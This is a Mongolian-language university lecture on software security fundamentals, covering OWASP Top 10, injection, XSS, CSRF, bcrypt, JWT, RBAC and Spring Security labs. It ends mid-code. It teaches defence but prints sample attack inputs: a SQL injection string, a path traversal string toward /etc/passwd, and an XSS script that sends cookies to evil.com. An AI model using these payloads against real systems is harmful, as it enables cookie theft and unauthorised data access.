ЛЕКЦ 10: ПРОГРАМ ХАНГАМЖИЙН АЮУЛГҮЙ БАЙДАЛ (Software Security Fundamentals)
Хичээлийн зорилго: Програм хангамжийн аюулгүй байдлын суурь ойлголт, OWASP Top 10 эмзэг байдлууд, аюулгүй код бичих зарчмууд, authentication/authorization, шифрлэлт, Spring Security ашиглан бодит хамгаалалт хэрэгжүүлэхийг эзэмшүүлэх.
Хамрах хүрээ: CIA Triad, OWASP Top 10, SQL Injection, XSS, CSRF, Authentication (JWT, Session), Authorization (RBAC), Password hashing (bcrypt), HTTPS/TLS, CORS, Spring Security, Input Validation, Secure Coding Best Practices.
ХЭСЭГ 1: ОНОЛЫН СУУРЬ (Theory & Foundations)
1.1 Програм хангамжийн аюулгүй байдал яагаад чухал вэ?
💡 Зүйрлэл: Гэрийн хаалгагүй байшин = Хэн ч ороод гарна. Програмын аюулгүй байдал = Хаалга, цоож, камер, дохиолол.
Бодит жишээнүүд:
| Жишээ | Нөлөөлөл |
|---|---|
| Equifax (2017) | 147 сая хүний мэдээлэл задарсан — Patch хийгээгүй Apache Struts |
| SolarWinds (2020) | Supply chain халдлага — 18,000+ байгууллага |
| Log4Shell (2021) | Log4j эмзэг байдал — Бүх Java систем эрсдэлтэй |
| MOVEit (2023) | SQL Injection — Олон мянган байгууллагын өгөгдөл |
Аюулгүй байдал = Төсвөөс гадуур биш
| Үе шат | Зардал |
|---|---|
| Дизайн үед олох | $1 |
| Хөгжүүлэлт үед олох | $10 |
| Тест үед олох | $100 |
| Production-д олох | $1,000+ |
| Хакер олох | $10,000+ + Нэр хүнд |
1.2 CIA Triad — Аюулгүй байдлын 3 тулгуур
| Тулгуур | Англи | Тайлбар | Жишээ |
|---|---|---|---|
| Нууцлал | Confidentiality | Зөвхөн ЗӨВШӨӨРӨГДСӨН хүн мэдээлэлд хандах | Шифрлэлт, Access Control |
| Бүрэн бүтэн | Integrity | Мэдээлэл ӨӨРЧЛӨГДӨӨГҮЙ, ЗӨВ байх | Hash, Digital Signature |
| Хүртээмж | Availability | Мэдээлэл ХЭРЭГТЭЙ ҮЕДЭЭ ашиглах боломжтой | Backup, DDoS хамгаалалт |
Нууцлал
(Confidentiality)
▲
╱ ╲
╱ ╲
╱ CIA ╲
╱───────╲
╱ ╲
▼ ▼
Бүрэн бүтэн Хүртээмж
(Integrity) (Availability)
1.3 OWASP Top 10 — Хамгийн түгээмэл 10 эмзэг байдал
OWASP = Open Web Application Security Project — Вэб аюулгүй байдлын нээлттэй төсөл.
OWASP Top 10 (2021):
| # | Нэр | Тайлбар |
|---|---|---|
| A01 | Broken Access Control | Зөвшөөрөлгүй хандалт (admin endpoint руу энгийн хэрэглэгч) |
| A02 | Cryptographic Failures | Шифрлэлтийн алдаа (HTTP, MD5, plaintext password) |
| A03 | Injection | SQL Injection, XSS — Хортой код шигтгэх |
| A04 | Insecure Design | Аюулгүй бус дизайн (threat modeling хийгээгүй) |
| A05 | Security Misconfiguration | Тохиргооны алдаа (default password, debug mode) |
| A06 | Vulnerable Components | Эмзэг dependency (хуучин library) |
| A07 | Auth Failures | Нэвтрэлтийн алдаа (сул password, brute force) |
| A08 | Software/Data Integrity | Шалгагдаагүй update, CI/CD pipeline халдлага |
| A09 | Logging Failures | Лог хангалтгүй → Халдлагыг олж чадахгүй |
| A10 | SSRF | Server-Side Request Forgery — Серверээс дотоод сүлжээ рүү хүсэлт |
1.4 Injection халдлагууд
1.4.1 SQL Injection
SQL Injection = Хэрэглэгчийн оролтоор хортой SQL код шигтгэж, DB-д зөвшөөрөгдөөгүй үйлдэл хийх.
Хэрэглэгч оролт: ' OR '1'='1' --
SQL query:
SELECT * FROM users WHERE email = '' OR '1'='1' --' AND password = '...'
↑
Бүх хэрэглэгч буцаана!
Эмзэг код (❌ БУРУУ):
// String concatenation → SQL Injection эмзэг!
String query = "SELECT * FROM users WHERE email = '" + email + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);
Аюулгүй код (✅ ЗӨВ):
// Prepared Statement → SQL Injection-аас хамгаалагдсан
String query = "SELECT * FROM users WHERE email = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, email); // Параметрийг УТГА гэж боловсруулна
ResultSet rs = stmt.executeQuery();
JPA/Hibernate — Автомат хамгаалалт:
// JPA = Prepared Statement автоматаар ашиглана
@Query("SELECT u FROM User u WHERE u.email = :email")
Optional<User> findByEmail(@Param("email") String email);
// Spring Data method naming — Аюулгүй
Optional<User> findByEmail(String email);
1.4.2 XSS (Cross-Site Scripting)
XSS = Хортой JavaScript код вэб хуудсанд шигтгэж, бусад хэрэглэгчийн browser дээр ажиллуулах.
Халдагч оруулна:
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
Хэрвээ escape хийгээгүй бол → Бусад хэрэглэгчийн cookie хулгайлагдана!
| Төрөл | Тайлбар |
|---|---|
| Stored XSS | DB-д хадгалагдсан хортой script (comment, profile) |
| Reflected XSS | URL parameter-аар дамжсан script |
| DOM XSS | Client-side JavaScript-ээр DOM өөрчлөх |
Хамгаалалт:
// 1. Output encoding — HTML escape
import org.apache.commons.text.StringEscapeUtils;
String safe = StringEscapeUtils.escapeHtml4(userInput);
// 2. Content-Security-Policy header
// 3. HttpOnly cookie (JavaScript-аас хандах боломжгүй)
1.4.3 CSRF (Cross-Site Request Forgery)
CSRF = Хэрэглэгчийг мэдэхгүйд нь хортой хүсэлт илгээлгэх.
1. Хэрэглэгч bank.com руу нэвтэрсэн (session cookie байна)
2. evil.com руу зочилно
3. evil.com автоматаар form submit: POST bank.com/transfer?to=hacker&amount=1000
4. Browser cookie-г автоматаар илгээнэ → Мөнгө шилжинэ!
Хамгаалалт:
// Spring Security — CSRF token автомат
@Configuration
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
);
return http.build();
}
}
// API (stateless JWT) бол CSRF идэвхгүй болгож болно:
// http.csrf(csrf -> csrf.disable())
1.5 Authentication (Нэвтрэлт) ба Authorization (Зөвшөөрөл)
Ялгаа:
| Шинж | Authentication (AuthN) | Authorization (AuthZ) |
|---|---|---|
| Асуулт | "Чи ХЭН бэ?" | "Чамд ЮУ хийх эрх байна?" |
| Жишээ | Login (email + password) | Admin = Бүгд, User = Зөвхөн өөрийнхөө |
| Хэзээ | Эхэнд | Authentication-ий дараа |
| Механизм | Password, JWT, OAuth | Role, Permission, Policy |
1.5.1 Password хадгалалт
❌ БУРУУ — Plaintext:
users table:
| email | password |
| bat@test.com | myPassword | ← Plaintext! DB задарвал бүгд мэднэ
❌ БУРУУ — MD5/SHA-1:
| email | password |
| bat@test.com | 34819d7beeabb9260a5c854bc85b3e44 | ← Rainbow table-аар тайлна
✅ ЗӨВ — bcrypt (salt + slow hash):
// Spring Security — BCrypt
@Bean
public PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder(12); // strength = 12
}
// Хадгалах
String hashed = passwordEncoder.encode("myPassword");
// → $2a$12$LJ3m4ys3Gkl0TdXTN5Y5pO... (salt + hash, нэг удаа ч давтагдахгүй)
// Шалгах
boolean matches = passwordEncoder.matches("myPassword", hashed); // true
bcrypt яагаад аюулгүй вэ?
| Шинж | MD5/SHA | bcrypt |
|---|---|---|
| Хурд | Маш хурдан (сая/сек) | Зориудаар УДААН (10-100/сек) |
| Salt | Байхгүй | Автомат (давтагдашгүй) |
| Rainbow Table | Тайлж чадна | Тайлж ЧАДАХГҮЙ |
1.5.2 JWT (JSON Web Token)
JWT = Stateless authentication token. Сервер session хадгалахгүй.
JWT бүтэц:
Header.Payload.Signature
eyJhbGciOiJIUzI1NiJ9. ← Header (алгоритм)
eyJzdWIiOiIxMjM0NSIsIm5hbWUi... ← Payload (хэрэглэгчийн мэдээлэл)
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV ← Signature (гарын үсэг)
┌──────────┐ POST /login ┌──────────┐
│ Client │ ──────────────────────►│ Server │
│ │ {email, password} │ │
│ │ │ │
│ │◄────────────────────── │ │
│ │ {token: "eyJ..."} │ │
│ │ │ │
│ │ GET /api/students │ │
│ │ ──────────────────────►│ │
│ │ Authorization: │ │
│ │ Bearer eyJ... │ │
│ │ │ │
│ │◄────────────────────── │ │
│ │ {students: [...]} │ │
└──────────┘ └──────────┘
JWT vs Session:
| Шинж | Session | JWT |
|---|---|---|
| Хадгалалт | Сервер дээр (memory/DB) | Client дээр (token) |
| Stateless | ❌ (сервер дээр state) | ✅ (сервер дээр юу ч хадгалахгүй) |
| Scale | Хэцүү (session sync) | Хялбар (token бие даасан) |
| Хүчингүй болгох | Хялбар (session устгах) | Хэцүү (token expire хүлээх) |
| Микросервис | Хэцүү | Тохиромжтой |
1.5.3 RBAC (Role-Based Access Control)
RBAC = Хэрэглэгчид ДҮРД оноож, дүр бүрт ЭРХҮҮД олгох.
Хэрэглэгч → Дүр → Эрхүүд
Бат → ADMIN → [CREATE, READ, UPDATE, DELETE, MANAGE_USERS]
Дорж → TEACHER → [CREATE, READ, UPDATE]
Сараа → STUDENT → [READ]
// Spring Security — Role-based
@RestController
@RequestMapping("/api")
public class StudentController {
@GetMapping("/students")
@PreAuthorize("hasAnyRole('ADMIN', 'TEACHER', 'STUDENT')")
public List<Student> getAll() { ... }
@PostMapping("/students")
@PreAuthorize("hasAnyRole('ADMIN', 'TEACHER')")
public Student create(@RequestBody Student student) { ... }
@DeleteMapping("/students/{id}")
@PreAuthorize("hasRole('ADMIN')")
public void delete(@PathVariable Long id) { ... }
}
1.6 HTTPS ба TLS
HTTP vs HTTPS:
| Шинж | HTTP | HTTPS |
|---|---|---|
| Шифрлэлт | ❌ Plaintext | ✅ TLS шифрлэлт |
| Нууцлал | Хэн ч уншина | Зөвхөн илгээгч ба хүлээн авагч |
| Бүрэн бүтэн | Өөрчлөгдөж болно | Өөрчлөгдвөл мэдэгдэнэ |
| Port | 80 | 443 |
HTTP:
Client ──── "password123" ──── Хакер уншина! ──── Server
HTTPS:
Client ──── "x8Kj2#mP..." ──── Хакер ойлгохгүй ──── Server
(шифрлэгдсэн)
TLS Handshake (товчлол):
Client Server
│── ClientHello ──────────────►│
│◄── ServerHello + Certificate │
│── Key Exchange ─────────────►│
│◄── Finished ─────────────── │
│ │
│◄═══ Шифрлэгдсэн холбоо ═══►│
1.7 CORS (Cross-Origin Resource Sharing)
CORS = Өөр домайнаас API руу хүсэлт илгээх зөвшөөрөл.
Frontend: https://myapp.com
Backend: https://api.myapp.com ← Өөр origin!
Browser: "api.myapp.com, myapp.com-аас хүсэлт ирж болох уу?"
Server: "Тийм, Access-Control-Allow-Origin: https://myapp.com"
Browser: "OK, хүсэлт илгээнэ"
// Spring Boot — CORS тохиргоо
@Configuration
public class CorsConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/api/**")
.allowedOrigins("https://myapp.com") // Зөвхөн энэ domain
.allowedMethods("GET", "POST", "PUT", "DELETE")
.allowedHeaders("*")
.allowCredentials(true)
.maxAge(3600);
}
}
⚠️ ХЭЗЭЭ Ч:
allowedOrigins("*")+allowCredentials(true)хамт ашиглахгүй! Аюултай.
1.8 Input Validation (Оролтын баталгаажуулалт)
Яагаад чухал вэ?
"Never trust user input" — Хэрэглэгчийн оролтод ХЭЗЭЭ Ч итгэхгүй.
| Оролт | Халдлага |
|---|---|
' OR '1'='1 | SQL Injection |
<script>alert('XSS')</script> | XSS |
../../../../etc/passwd | Path Traversal |
999999999999 | Integer Overflow |
null, хоосон | NullPointerException |
// Spring Validation — Bean Validation (JSR 380)
public class CreateStudentRequest {
@NotBlank(message = "Нэр хоосон байж болохгүй")
@Size(min = 2, max = 100, message = "Нэр 2-100 тэмдэгт")
@Pattern(regexp = "^[a-zA-Zа-яА-ЯөүӨҮёЁ\\s]+$", message = "Зөвхөн үсэг")
private String name;
@NotBlank(message = "Email хоосон байж болохгүй")
@Email(message = "Email формат буруу")
private String email;
@NotNull(message = "GPA заавал")
@DecimalMin(value = "0.0", message = "GPA >= 0")
@DecimalMax(value = "4.0", message = "GPA <= 4.0")
private BigDecimal gpa;
}
// Controller-д @Valid ашиглах
@PostMapping("/students")
public Student create(@Valid @RequestBody CreateStudentRequest request) {
// Validation амжилттай бол л энд хүрнэ
}
1.9 Spring Security суурь
Spring Security архитектур:
HTTP Request
│
▼
┌───────────────────┐
│ Security Filter │ ← Filter Chain (OncePerRequestFilter)
│ Chain │
├───────────────────┤
│ 1. CORS Filter │
│ 2. CSRF Filter │
│ 3. Auth Filter │ ← JWT token шалгах
│ 4. Authorization │ ← Role/Permission шалгах
│ 5. Exception │
└───────┬───────────┘
│
▼ (Зөвшөөрөгдсөн)
┌───────────────────┐
│ Controller │
│ Service │
│ Repository │
└───────────────────┘
Spring Security тохиргоо:
@Configuration
@EnableWebSecurity
@EnableMethodSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
// CSRF (Stateless API бол disable)
.csrf(csrf -> csrf.disable())
// Session (JWT бол stateless)
.sessionManagement(session ->
session.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
// Endpoint хандалт
.authorizeHttpRequests(auth -> auth
// Нээлттэй endpoint
.requestMatchers("/api/auth/**").permitAll()
.requestMatchers("/actuator/health").permitAll()
// Admin endpoint
.requestMatchers("/api/admin/**").hasRole("ADMIN")
// Бусад бүгд — Нэвтрэлт шаардлагатай
.anyRequest().authenticated()
)
// JWT Filter нэмэх
.addFilterBefore(jwtAuthFilter, UsernamePasswordAuthenticationFilter.class);
return http.build();
}
@Bean
public PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder(12);
}
}
1.10 Dependency Security
Эмзэг dependency:
Таны апп → Spring Boot 3.1 → Log4j 2.14 → Log4Shell эмзэг байдал!
Шалгах хэрэгслүүд:
| Хэрэгсэл | Тайлбар |
|---|---|
| OWASP Dependency-Check | Maven/Gradle dependency scan |
| Snyk | Автомат vulnerability scan + fix PR |
| GitHub Dependabot | Автомат dependency update PR |
| Trivy | Docker image vulnerability scan |
<!-- pom.xml — OWASP Dependency-Check -->
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>9.0.7</version>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
# Шалгалт ажиллуулах
mvn dependency-check:check
# Тайлан: target/dependency-check-report.html
1.11 Secure Coding Best Practices
| # | Зарчим | Тайлбар |
|---|---|---|
| 1 | Input Validation | Бүх оролтыг ШАЛГАХ (@Valid, whitelist) |
| 2 | Output Encoding | HTML, JS, SQL-д output encode хийх |
| 3 | Prepared Statement | SQL Injection-аас хамгаалах |
| 4 | bcrypt | Password ХЭЗЭЭ Ч plaintext хадгалахгүй |
| 5 | HTTPS | Бүх холбоог шифрлэх |
| 6 | Least Privilege | Хамгийн БАГА эрх олгох |
| 7 | Defense in Depth | Олон давхар хамгаалалт |
| 8 | Fail Securely | Алдаа гарвал ХААХ (нээхгүй) |
| 9 | Secrets Management | Password кодонд ХАДГАЛАХГҮЙ (Vault, Env) |
| 10 | Dependency Update | Library ТОГТМОЛ шинэчлэх |
| 11 | Security Logging | Нэвтрэлт, алдааг ЛОГ бичих |
| 12 | CORS зөв тохируулах | allowedOrigins("*") ашиглахгүй |
| 13 | Rate Limiting | Brute force-аас хамгаалах |
| 14 | Security Headers | CSP, X-Frame-Options, HSTS |
| 15 | Code Review | Аюулгүй байдлын review хийх |
1.12 Security Headers
Чухал HTTP Security Headers:
| Header | Зорилго |
|---|---|
| Content-Security-Policy | XSS-аас хамгаалах (script ачаалах эх сурвалж хязгаарлах) |
| X-Content-Type-Options | MIME type sniffing-аас хамгаалах |
| X-Frame-Options | Clickjacking-аас хамгаалах (iframe-д оруулахгүй) |
| Strict-Transport-Security | HTTPS шаардах (HSTS) |
| X-XSS-Protection | Browser XSS filter идэвхжүүлэх |
| Referrer-Policy | Referrer мэдээлэл хязгаарлах |
// Spring Security — Security Headers автомат
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.headers(headers -> headers
.contentSecurityPolicy(csp ->
csp.policyDirectives("default-src 'self'; script-src 'self'"))
.frameOptions(frame -> frame.deny())
.httpStrictTransportSecurity(hsts ->
hsts.maxAgeInSeconds(31536000).includeSubDomains(true))
);
return http.build();
}
1.13 Rate Limiting ба Brute Force хамгаалалт
Rate Limiting:
Хэрэглэгч → POST /api/auth/login (100 удаа 1 минутад)
↓
Rate Limiter: "429 Too Many Requests" → Хаагдсан!
// Spring Boot — Bucket4j ашиглан Rate Limiting
@RestController
public class AuthController {
private final Map<String, Bucket> buckets = new ConcurrentHashMap<>();
@PostMapping("/api/auth/login")
public ResponseEntity<?> login(@RequestBody LoginRequest request,
HttpServletRequest httpRequest) {
String ip = httpRequest.getRemoteAddr();
Bucket bucket = buckets.computeIfAbsent(ip, k ->
Bucket.builder()
.addLimit(Bandwidth.simple(5, Duration.ofMinutes(1))) // 5 удаа/мин
.build()
);
if (!bucket.tryConsume(1)) {
return ResponseEntity.status(429).body("Хэт олон оролдлого. Түр хүлээнэ үү.");
}
// Login логик...
}
}
Account Lockout:
5 удаа буруу password → Account 15 мин ТҮГЖИГДЭНЭ
1.14 OAuth 2.0 ба SSO ойлголт
OAuth 2.0:
Хэрэглэгч → "Google-ээр нэвтрэх" → Google Login → Redirect + Token → API хандалт
| Нэр | Тайлбар |
|---|---|
| Resource Owner | Хэрэглэгч (Бат) |
| Client | Таны апп (student-api) |
| Authorization Server | Google, GitHub, Keycloak |
| Resource Server | Таны API |
SSO (Single Sign-On):
1 удаа нэвтрэх → Бүх систем рүү хандах
Нэвтрэх (Keycloak) → student-api ✅
→ teacher-api ✅
→ admin-portal ✅
1.15 Threat Modeling
Threat Modeling гэж юу вэ?
Системийн аюулыг УРЬДЧИЛАН тодорхойлж, хамгаалалт төлөвлөх.
STRIDE загвар:
| Аюул | Англи | Тайлбар | Хамгаалалт |
|---|---|---|---|
| S | Spoofing | Хуурамч нэрээр нэвтрэх | Authentication (JWT, MFA) |
| T | Tampering | Өгөгдөл өөрчлөх | Integrity (Hash, Signature) |
| R | Repudiation | "Би хийгээгүй" гэх | Logging, Audit trail |
| I | Information Disclosure | Мэдээлэл задрах | Encryption, Access Control |
| D | Denial of Service | Систем ажиллахгүй болгох | Rate Limiting, DDoS protection |
| E | Elevation of Privilege | Эрх дээшлүүлэх | Authorization, Least Privilege |
ХЭСЭГ 2: ТҮЛХҮҮР ҮГ БА МЭРГЭЖЛИЙН НЭР ТОМЬЁО (Keywords & Glossary)
| # | Англи нэр томьёо | Монгол утга | Дэлгэрэнгүй тайлбар |
|---|---|---|---|
| 1 | CIA Triad | CIA гурвалжин | Confidentiality, Integrity, Availability — Аюулгүй байдлын 3 тулгуур. |
| 2 | OWASP | OWASP | Open Web Application Security Project — Вэб аюулгүй байдлын нээлттэй төсөл. |
| 3 | SQL Injection | SQL шигтгэлт | Оролтоор хортой SQL код шигтгэх халдлага. |
| 4 | XSS | Хөндлөн скрипт | Cross-Site Scripting — Хортой JS код вэб хуудсанд шигтгэх. |
| 5 | CSRF | Хөндлөн хүсэлт | Cross-Site Request Forgery — Хэрэглэгчийг мэдэхгүйд хүсэлт илгээлгэх. |
| 6 | Authentication | Нэвтрэлт | "Чи ХЭН бэ?" — Хэрэглэгчийг таних. |
| 7 | Authorization | Зөвшөөрөл | "Юу хийх ЭРХ байна?" — Хандалт хянах. |
| 8 | JWT | JWT токен | JSON Web Token — Stateless authentication token. |
| 9 | OAuth 2.0 | OAuth 2.0 | Гуравдагч талын нэвтрэлт (Google, GitHub). |
| 10 | SSO | Нэг нэвтрэлт | Single Sign-On — 1 удаа нэвтэрч олон систем ашиглах. |
| 11 | RBAC | Дүрд суурилсан хандалт | Role-Based Access Control — Дүрээр эрх удирдах. |
| 12 | bcrypt | bcrypt | Удаан hash + salt — Password аюулгүй хадгалах. |
| 13 | Salt | Давс | Password hash-д нэмэх давтагдашгүй тохиолдолт утга. |
| 14 | Hash | Хэш | Нэг чиглэлт хөрвүүлэлт (буцааж чадахгүй). |
| 15 | HTTPS | HTTPS | HTTP + TLS шифрлэлт — Аюулгүй холбоо. |
| 16 | TLS | TLS | Transport Layer Security — Холбоог шифрлэх протокол. |
| 17 | CORS | CORS | Cross-Origin Resource Sharing — Өөр домайнаас хандах зөвшөөрөл. |
| 18 | Input Validation | Оролтын баталгаажуулалт | Хэрэглэгчийн оролтыг шалгах (@Valid). |
| 19 | Prepared Statement | Бэлтгэсэн мэдэгдэл | Параметрийг утга гэж боловсруулах — SQL Injection хамгаалалт. |
| 20 | Encryption | Шифрлэлт | Өгөгдлийг нууцлах (AES, RSA). |
| 21 | Symmetric Encryption | Тэгш шифрлэлт | Нэг түлхүүрээр шифрлэх + тайлах (AES). |
| 22 | Asymmetric Encryption | Тэгш бус шифрлэлт | Нийтийн + хувийн түлхүүр (RSA). |
| 23 | HSTS | HSTS | HTTP Strict Transport Security — HTTPS шаардах. |
| 24 | CSP | CSP | Content Security Policy — XSS хамгаалалт header. |
| 25 | Rate Limiting | Хурд хязгаарлалт | Хүсэлтийн тоог хязгаарлах (brute force хамгаалалт). |
| 26 | Brute Force | Бүдүүлэг хүч | Бүх боломжит password оролдох халдлага. |
| 27 | MFA / 2FA | Олон хүчин зүйлт нэвтрэлт | Multi-Factor Authentication — Password + OTP/SMS. |
| 28 | Vulnerability | Эмзэг байдал | Системийн аюулгүй байдлын сул тал. |
| 29 | Exploit | Ашиглалт | Эмзэг байдлыг ашиглах халдлага. |
| 30 | Penetration Testing | Нэвтрэлтийн тест | Системд зориудаар халдаж, сул талыг олох. |
| 31 | Threat Modeling | Аюулын загварчлал | Аюулыг урьдчилан тодорхойлж, хамгаалалт төлөвлөх. |
| 32 | STRIDE | STRIDE | Spoofing, Tampering, Repudiation, Info Disclosure, DoS, Elevation. |
| 33 | Least Privilege | Хамгийн бага эрх | Шаардлагатай хамгийн бага эрх олгох зарчим. |
| 34 | Defense in Depth | Олон давхар хамгаалалт | Нэг давхар эвдэрсэн ч бусад нь хамгаална. |
| 35 | Security Header | Аюулгүй байдлын толгой | CSP, X-Frame-Options, HSTS зэрэг HTTP header. |
| 36 | Dependency Check | Хамаарлын шалгалт | Library-ийн эмзэг байдлыг шалгах (OWASP, Snyk). |
| 37 | Spring Security | Spring Security | Spring Boot-ийн аюулгүй байдлын framework. |
| 38 | Filter Chain | Шүүлтүүрийн гинж | HTTP хүсэлт боловсруулах шүүлтүүрүүдийн дараалал. |
| 39 | Keycloak | Keycloak | Нээлттэй эх Identity + Access Management сервер. |
| 40 | Zero Trust | Тэг итгэл | "Хэнд ч итгэхгүй, бүгдийг шалгах" аюулгүй байдлын загвар. |
ХЭСЭГ 3: ЛАБОРАТОРИ БА ПРАКТИК ЗААВАР (Labs & Step-by-Step Guide)
3.1 Лабораторийн зорилго
Энэ лабораторид та:
- Spring Security ашиглан JWT authentication хэрэгжүүлэх
- Role-based authorization тохируулах
- Input validation нэмэх
- Password bcrypt-ээр хадгалах
- CORS, Security Headers тохируулах
Хэл: Java 17+ / Spring Boot 3.x | Framework: Spring Security | Dependency: jjwt, bcrypt
3.2 Лаб 1: Spring Security + JWT Authentication
Алхам 1: Dependency нэмэх (pom.xml)
<!-- Spring Security -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
<!-- JWT -->
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt-api</artifactId>
<version>0.12.3</version>
</dependency>
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt-impl</artifactId>
<version>0.12.3</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt-jackson</artifactId>
<version>0.12.3</version>
<scope>runtime</scope>
</dependency>
<!-- Validation -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-validation</artifactId>
</dependency>
Алхам 2: User Entity
@Entity
@Table(name = "users")
public class User {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Long id;
@Column(nullable = false, unique = true)
private String email;
@Column(nullable = false)
private String password; // bcrypt hash хадгална
@Column(nullable = false)
private String name;
@Enumerated(EnumType.STRING)
@Column(nullable = false)
private Role role; // ADMIN, TEACHER, STUDENT
// Getters, Setters
}
public enum Role {
ADMIN, TEACHER, STUDENT
}
Алхам 3: JWT Service
@Service
public class JwtService {
@Value("${jwt.secret}")
private String secretKey;
@Value("${jwt.expiration}")
private long expiration; // 86400000 = 24 цаг
// Token үүсгэх
public String generateToken(User user) {
return Jwts.builder()
.subject(user.getEmail())
.claim("role", user.getRole().name())
.claim("name", user.getName())
.issuedAt(new Date())
.expiration(new Date(System.currentTimeMillis() + expiration))
.signWith(getSigningKey())
.compact();
}
// Token-аас email авах
public String extractEmail(String token) {
return extractClaim(token, Claims::getSubject);
}
// Token хүчинтэй эсэх
public boolean isTokenValid(String token, UserDetails userDetails) {
String email = extractEmail(token);
return email.equals(userDetails.getUsername()) && !isTokenExpired(token);
}
private boolean isTokenExpired(String token) {
return extractClaim(token, Claims::getExpiration).before(new Date());
}
private <T> T extractClaim(String token, Function<Claims, T> resolver) {
Claims claims = Jwts.parser()
.verifyWith(getSigningKey())
.build()
.parseSignedClaims(token)
.getPayload();
return resolver.apply(claims);
}
private SecretKey getSigningKey() {
byte[] keyBytes = Decoders.BASE64.decode(secretKey);
return Keys.hmacShaKeyFor(keyBytes);
}
}
Алхам 4: JWT Authentication Filter
@Component
public class JwtAuthFilter extends OncePerRequestFilter {
private final JwtService jwtService;
private final UserDetailsService userDetailsService;
public JwtAuthFilter(JwtService jwtService, UserDetailsService userDetailsService) {
this.jwtService = jwtService;
this.userDetailsService = userDetailsService;
}
@Override
protected void doFilterInternal(HttpServletRequest request,
HttpServletResponse response,
FilterChain filterChain)
throws ServletException, IOException {
// 1. Authorization header авах
String authHeader = request.getHeader("Authorization");
if (authHeader == null || !authHeader.startsWith("Bearer ")) {
filterChain.doFilter(request, response);
return;
}
// 2. Token задлах
String token = authHeader.substring(7);
String email = jwtService.extractEmail(token);
// 3. Authentication тохируулах
if (email != null && SecurityContextHolder.getContext().getAuthentication() == null) {
UserDetails userDetails = userDetailsService.loadUserByUsername(email);
if (jwtService.isTokenValid(token, userDetails)) {
UsernamePasswordAuthenticationToken authToken =
new UsernamePasswordAuthenticationToken(
userDetails, null, userDetails.getAuthorities());
authToken.setDetails(new WebAuthenticationDetailsSource().buildDetails(request));
SecurityContextHolder.getContext().setAuthentication(authToken);
}
}
filterChain.doFilter(request, response);
}
}
Алхам 5: Auth Controller
@RestController
@RequestMapping("/api/auth")
public class AuthController {
private final AuthService authService;
public AuthController(AuthService authService) {
this.authService = authService;
}
@PostMapping("/register")
public ResponseEntity<AuthResponse> register(@Valid @RequestBody RegisterRequest request) {
return ResponseEntity.ok(authService.register(request));
}
@PostMapping("/login")
public ResponseEntity<AuthResponse> login(@Valid @RequestBody LoginRequest request) {
return ResponseEntity.ok(authService.login(request));
}
}
// Request / Response DTO
public record RegisterRequest(
@NotBlank String name,
@NotBlank @Email String email,
@NotBlank @Size(min = 8) String password
) {}
public record LoginRequest(
@NotBlank @Email String email,
@NotBlank String password
) {}
public record AuthResponse(String token, String email, String role) {}
Алхам 6: Auth Service
@Service
public class AuthService {
private final UserRepository userRepository;
private final PasswordEncoder passwordEncoder;
private final JwtService jwtService;
private final AuthenticationManager authenticationManager;
// Constructor injection...
public AuthResponse register(RegisterRequest request) {
// Email давтагдаагүй эсэх
if (userRepository.existsByEmail(request.email())) {
throw new RuntimeException("Email бүртгэлтэй байна");
}
// User үүсгэх
User user = new User();
user.setName(request.name());
user.setEmail(request.email());
user.setPassword(passwordEncoder.encode(request.password())); // bcrypt!
user.setRole(Role.STUDENT);
userRepository.save(user);
// JWT token үүсгэх
String token = jwtService.generateToken(user);
return new AuthResponse(token, user.getEmail(), user.getRole().name());
}
public AuthResponse login(LoginRequest request) {
// Authentication шалгах
authenticationManager.authenticate(
new UsernamePasswordAuthenticationToken(request.email(), request.password())
);
User user = userRepository.findByEmail(request.email())
.orElseThrow(() -> new RuntimeException("Хэрэглэгч олдсонгүй"));
String token = jwtService.generateToken(user);
return new AuthResponse(token, user.getEmail(), user.getRole().name());
}
}
3.3 Лаб 2: Role-Based Authorization
Алхам 1: Security Config
@Configuration
@EnableWebSecurity
@EnableMethodSecurity
public class SecurityConfig {
private final JwtAuthFilter jwtAuthFilter;
private final UserDetailsService userDetailsService;
// Constructor injection...
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.csrf(csrf -> csrf.disable())
.sessionManagement(session ->
session.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
.authorizeHttpRequests(auth -> auth
.requestMatchers("/api/auth/**").permitAll()
.requestMatchers("/actuator/health").permitAll()
.requestMatchers(HttpMethod.DELETE, "/api/**").hasRole("ADMIN")
.anyRequest().authenticated()
)
.addFilterBefore(jwtAuthFilter, UsernamePasswordAuthenticationFilter.class);
return http.build();
}
@Bean
public PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder(12);
}
@Bean
public AuthenticationManager authenticationManager(AuthenticationConfiguration config)
throws Exception {
return config.getAuthenticationManager();
}
}
Алхам 2: Method-Level Security
@RestController
@RequestMapping("/api/students")
public class StudentController {
// Бүгд харах боломжтой
@GetMapping
@PreAuthorize("hasAnyRole('ADMIN', 'TEACHER', 'STUDENT')")
public List<StudentResponse> getAll() { ... }
